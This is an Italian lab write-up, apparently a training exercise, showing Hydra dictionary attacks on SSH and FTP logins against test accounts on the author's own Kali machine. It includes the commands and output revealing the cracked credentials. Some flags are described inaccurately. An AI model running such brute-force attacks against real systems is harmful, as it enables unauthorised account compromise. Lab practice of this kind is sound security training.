

Cracking password con Hydra

1. Nell'esercizio di oggi andremo ad eseguire un attacco di brute force sulla nostra macchina kali utilizzando il programma hydra.

Come prima cosa andiamo a creare un nuovo utente con la propria password. Questo sarà il nostro target da "exploitare".

```
(kali㉿kali)-[~]
$ sudo adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
```

Andiamo successivamente ad attivare il servizio **ssh** per avviare una connessione remota tramite la porta **22**

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.1.9
The authenticity of host '192.168.1.9 (192.168.1.9)' can't be established.
ED25519 key fingerprint is SHA256:cn+hI44WoGmK4yjPYojsGkMTvA/FHCuhZPbgMa6nRkw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.9' (ED25519) to the list of known hosts.
test_user@192.168.1.9's password:
Linux kali 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Una volta creato il nostro utente andiamo ad installare una libreria di utenti e password da far utilizzare a Hydra (**seclists**)

```
(kali㉿kali)-[~]
$ sudo apt install seclists
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
icu-devtools libdnnl3 libfuse3-3 libglapi-mesa libjxl0.10 libopenh264-7 libpython3.12-minimal libpython3.12t64 python3-setproctitle ruby-zeitwerk
libabsl20230802 libflac12t64 libgeos3.13.0 libicu-dev liblbfgsb0 libpoppler145 libpython3.12-stdlib libxnnpack0 python3.12-tk strongswan
Use 'sudo apt autoremove' to remove them.

Installing:
seclists
```

Passiamo poi ad attaccare l'autenticazione SSH con Hydra con il seguente comando,

```
(kali@kali) ~$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
-P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100.txt \
192.168.1.9 -i ssh -t

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:14:59
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 829545500 login tries (1:8295455/p:100), ~829545500 tries per task
[DATA] attacking ssh://192.168.1.9:22/
[ATTEMPT] target 192.168.1.9 - login "info" - pass "123456" - 1 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "password" - 2 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "12345678" - 3 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "qwerty" - 4 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "123456789" - 5 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "12345" - 6 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "1234" - 7 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "111111" - 8 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "1234567" - 9 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "dragon" - 10 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "123123" - 11 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "baseball" - 12 of 829545500 [child 0] (0/0)
[ATTEMPT] target 192.168.1.9 - login "info" - pass "abc123" - 13 of 829545500 [child 0] (0/0)
```

Dove troviamo l'ip della nostra kali, il **numero di thread**, ovvero **quanti tentativi simultanei** vengono fatti in parallelo durante l'attacco, in questo caso **1**, **-L**, e **-P** si usano se vogliamo utilizzare delle liste per l'attacco a dizionario, **-V** per vedere in tempo reale i tentativi di crack e **-f** per dire di fermarsi quando trova la password e l'utente corretti.

Questo metodo è efficace ma molto tedioso.

Per velocizzare e per dare una dimostrazione del funzionamento di hydra, andremo ad utilizzare quest'altro comando

```
(kali@kali) ~$ hydra -l test_user -p test 192.168.1.9 -i ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:25:12
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.9:22/
[22][ssh] host: 192.168.1.9 login: test_user password: test
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) Finished at 2025-05-09 05:25:23
```

Nel nostro caso, conosciamo già il nome utente e la password, , quindi non bisogna inserire libreria di nomi utente e password da far utilizzare a hydra, ma basta inserire le credenziali da noi conosciute, andando, inoltre, a modificare **-l e -p** in minuscole, siccome vogliamo utilizzare un singolo username ed una singola password.

2. Per la seconda parte dell'esercizio andiamo a craccare un altro servizio con hydra: **FTP**

Andiamo ad installare il servizio e poi avviamolo.

```
(kali@kali) ~$ sudo apt install vsftpd
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
icu-devtools libdnnl3 libfuse3-3 libglapi-mesa libjxl0.10 libopenh264-7 libpython3.12-minimal libpython3.12t64 python3-setproctitle ruby-zeitwerk
libabsl20230802 libflac12t64 libgeos3.13.0 libicu-dev liblibfsgs0 libpoppler145 libpython3.12-stdlib libxnnpack0 python3.12-tk strongswan
Use 'sudo apt autoremove' to remove them.

Installing:
vsftpd
```

```
(kali@kali)-[~]  
$ sudo service vsftpd start
```

Andiamo nuovamente a creare un utente con la propria password.

```
(kali@kali)-[~]  
$ sudo adduser ftputente  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for ftputente  
Enter the new value, or press ENTER for the default  
Full Name []:  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n]
```

Sempre per accorciare i tempi, utilizziamo delle liste utenti e password create da noi.

```
(kali@kali)-[~]  
$ hydra -L /home/kali/Desktop/user2.txt -P /home/kali/Desktop/pass2.txt 192.168.1.9 ftp -t 4 -V -f  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service c  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 08:28:57  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 400 login tries (l:20/p:20), ~100 tries per task  
[DATA] attacking ftp://192.168.1.9:21/  
[ATTEMPT] target 192.168.1.9 - login "admin" - pass "123456" - 1 of 400 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.9 - login "admin" - pass "password" - 2 of 400 [child 1] (0/0)
```

Alla fine hydra ci restituirà i dati corretti che si trovavano nelle liste che abbiamo creato.

```
[ATTEMPT] target 192.168.1.9 - login "ftputente" - pass "123456789" - 290 of 400 [child 2] (0/0)  
[ATTEMPT] target 192.168.1.9 - login "ftputente" - pass "123123" - 291 of 400 [child 3] (0/0)  
[ATTEMPT] target 192.168.1.9 - login "ftputente" - pass "1q2w3e4r" - 292 of 400 [child 0] (0/0)  
[ATTEMPT] target 192.168.1.9 - login "ftputente" - pass "ftp" - 293 of 400 [child 1] (0/0)  
[21][ftp] host: 192.168.1.9 login: ftputente password: ftp  
[STATUS] attack finished for 192.168.1.9 (valid pair found)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 08:33:03
```

3. Considerazioni finali

Questi test dimostrano che l'utilizzo di **password deboli, o troppo comuni**, e servizi non sicuri possano esporre a **gravi rischi di compromissione**.